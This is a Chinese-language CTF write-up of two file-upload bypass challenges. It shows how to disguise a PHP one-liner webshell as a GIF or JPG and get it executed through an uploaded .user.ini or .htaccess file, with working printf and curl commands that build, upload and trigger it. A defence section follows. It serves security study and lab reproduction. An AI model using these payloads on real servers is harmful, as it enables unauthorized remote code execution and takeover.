摘要
本文整合两道经典上传绕过题(SUCTF2019 CheckIn1、GXYCTF2019 BabyUpload1)的思路与复现:通过文件头伪装与图片马隐藏 PHP 代码,配合目录级配置文件(.user.ini 或 .htaccess)将图片当作 PHP 自动包含或强制解析,从而实现远程命令执行(RCE)。文中给出实验步骤、PoC 命令与防御建议,供安全学习和靶场复现使用(仅限授权范围)。
目录
- 背景与目标
- 关键原理解析
- 环境准备
- 攻击复现(两种路径)
- 路径 A:.user.ini + 图片马(SUCTF CheckIn1)
- 路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)
- PoC 命令与示例代码
- 防御与修复建议
- 总结与扩展
1. 背景与目标
文件上传是 Web 常见功能,也是大量漏洞来源。常见防护包括后缀白名单、Content-Type 校验、exif_imagetype() 等基于文件头的检测。两道题都考察如何在严格过滤下把一句话木马/后门放进服务器并执行,常见链路为:上传图片马(polyglot)+ 利用目录级配置文件(.user.ini 或 .htaccess)使其被包含或当作 PHP 解析 → 获取 WebShell → 读取 flag。
2. 关键原理解析
- 文件头伪装:exif_imagetype() 等函数只看文件开头签名(magic bytes),可在 PHP 代码前加合法图片签名(例如 GIF89a)以通过检测。
- 图片马(Polyglot):在合法图片末尾追加 PHP 代码,文件仍能被识别为图片,但被包含/解析时 PHP 会执行其中代码。
- 目录级配置:
- .user.ini(PHP-FPM/CGI):可设置 auto_prepend_file/auto_append_file,使指定文件在目录内的 PHP 执行前后被自动包含。需要 PHP 启用 user_ini.filename。
- .htaccess(Apache):可用 AddType/SetHandler/ForceType 等指令把特定扩展名强制当作 PHP 解析。需 AllowOverride 允许相关指令。
- 生效条件:.user.ini 仅在 CGI/FastCGI/Php-FPM 且用户级 ini 启用时生效;.htaccess 依赖 Apache 配置。上传目录权限与服务器配置会影响成功率。
3. 环境准备
- 靶机:建议 Docker 搭建(nginx+php-fpm 或 Apache+php)。
- 可上传的 Web 应用(带上传限制)。
- 工具:curl、Burp Suite(抓包修改 Content-Type)、Python(生成图片马)、AntSword/Behinder(连接 webshell,可选)。
- 示例一句话木马(仅用于授权测试):<?php @eval($_POST['cmd']); ?>
4. 攻击复现
路径 A:.user.ini + 图片马(SUCTF CheckIn1)
思路:上传一个带图片头的文件(前缀为图片签名),在末尾追加一句话木马;再上传 .user.ini 指向该文件(auto_prepend_file / auto_append_file),当访问目录下 PHP 文件时会包含并执行木马。
步骤:
- 生成图片马(示例命令):
printf 'GIF89a' > mal.gif
printf '<?php @eval($_POST["cmd"]); ?>' >> mal.gif - 上传 mal.gif 到目标上传目录(通过页面或绕过检测)。
- 创建 .user.ini 内容示例并上传到同一目录:
auto_prepend_file = "mal.gif"
(或 auto_append_file,根据场景选择) - 访问目录下任意 PHP 文件并通过 POST 发送 cmd 参数触发执行:
curl -d "cmd=system('id');" http://target/vuln.php
注意事项:.user.ini 的生效可能有缓存(user_ini.cache_ttl),并非立刻生效;且目标需启用 user_ini.filename。
路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)
思路:上传 .htaccess 将 .jpg/.png 强制当作 PHP 解析(AddType/SetHandler/ForceType),再上传图片木马(shell.jpg),访问该图片触发执行。
步骤:
- 准备图片木马(shell.jpg),方式同上(在图片末尾追加 PHP 代码)。
- 准备 .htaccess 示例(Apache 环境):
AddType application/x-httpd-php .jpg
或
<FilesMatch ".(jpg|png)$">
SetHandler application/x-httpd-php - 上传 .htaccess 与 shell.jpg(上传时可用 Burp 修改 Content-Type 为 image/jpeg 以绕过检测)。
- 访问 shell.jpg,如果生效则执行 PHP 代码:curl -d "cmd=phpinfo()" http://target/uploads/shell.jpg
注意事项:部分服务器禁止上传 .htaccess 或 Ignore .htaccess;上传 Content-Type 常被检测,需根据题目环境调整。
5. PoC 命令与示例代码
- 生成图片马(Linux):
printf 'GIF89a' > mal.gif
printf '<?php @eval($_POST["cmd"]); ?>' >> mal.gif - 上传文件(示例):
curl -F "file=@mal.gif;type=image/gif" http://target/upload.php - 触发执行(示例):
curl -d "cmd=phpinfo()" http://target/vuln.php - .user.ini 示例内容:
auto_prepend_file = "mal.gif" - .htaccess 示例内容:
AddType application/x-httpd-php .jpg
(在发布时请配合截图展示上传成功后的文件列表、.user.ini/.htaccess 内容与触发命令的响应截图)
6. 防御与修复建议
- 不仅检查扩展名或 Content-Type,且不要单靠 exif_imagetype();使用更严格的文件解析库或对图片进行重新编码(重采样/重新生成)以去除尾部杂质。
- 将上传目录设为不可执行(禁用 PHP 解析);通过服务器配置(nginx location /uploads { try_files $uri =404; } 或 Apache 配置)禁止执行脚本。
- 关闭或限制目录级配置:在生产环境中可将 user_ini.filename 设为空以禁用 .user.ini,或禁止写入 .htaccess/.user.ini。
- 对上传的文件统一重命名、存储到隔离目录并设置最小权限。
- 增加监控:检测新增 .user.ini/.htaccess 与异常文件尾部数据、文件内容扫描等。
- 对重要函数(eval/system/exec/passthru)进行安全策略或禁用(需谨慎评估影响)。